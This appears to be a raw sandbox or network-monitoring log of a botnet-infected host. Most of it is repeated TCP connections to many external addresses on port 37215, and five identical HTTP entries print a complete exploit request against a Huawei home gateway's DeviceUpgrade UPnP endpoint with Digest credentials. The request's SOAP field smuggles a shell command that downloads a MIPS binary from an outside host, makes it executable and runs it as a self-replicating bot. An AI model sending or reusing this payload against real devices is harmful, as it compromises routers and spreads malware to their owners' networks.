Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.131.195.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.232.118.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.200.191.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.93.116.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.166.30.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.71.163.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.182.249.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.102.133.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.200.172.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.118.180.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.124.124.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.48.121.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.148.206.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.177.189.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.25.89.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.195.96.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.74.143.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.26.242.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.65.112.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.132.133.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.202.77.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.106.244.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.155.169.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.158.207.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.96.232.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.73.230.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.177.79.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.77.118.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.125.180.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.23.210.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.161.252.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.192.131.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.79.83.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.165.209.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.162.117.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.184.24.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.68.158.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.252.26.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.243.34.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.243.174.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.76.173.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.181.17.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.154.253.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.227.244.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.81.222.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.116.216.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.148.142.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.197.35.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.128.42.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.254.178.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.104.159.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.28.130.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.194.157.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.124.110.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.225.182.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.243.90.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.171.52.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.236.142.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.172.240.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.254.15.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.237.2.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.213.134.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.128.55.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.185.95.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.86.165.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.252.152.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.81.62.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.195.52.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.41.137.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.242.184.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.208.12.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.2.210.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.136.52.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.100.81.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.16.84.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.48.23.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.163.84.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.47.218.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.102.139.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.213.174.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.150.245.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.89.182.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.173.18.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.166.39.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.210.134.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.194.142.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.56.185.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.117.179.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.115.135.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.198.71.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.98.61.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.3.53.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.50.252.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.47.90.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.252.242.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.7.40.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.76.206.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.27.195.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.27.88.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.61.252.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.3.19.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.102.194.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.146.17.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.193.13.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.204.144.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.239.163.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.114.129.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.147.254.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.123.190.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.183.49.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.230.232.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.1.14.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.87.129.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.53.250.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.79.104.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.47.23.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.12.238.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.153.238.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.98.199.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.218.78.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.22.218.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.21.31.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.215.171.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.146.178.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.62.111.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.180.124.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.89.18.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.144.201.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.22.204.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.176.205.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.233.179.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.56.244.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.61.226.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.40.136.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.155.131.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.127.126.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.52.116.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.15.49.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.241.68.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.235.107.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.31.0.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.185.202.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.11.214.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 197.167.179.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.8.88.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.133.136.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.10.245.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.142.220.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.153.19.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.117.171.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 41.29.138.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:1863 -> 156.126.33.47:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
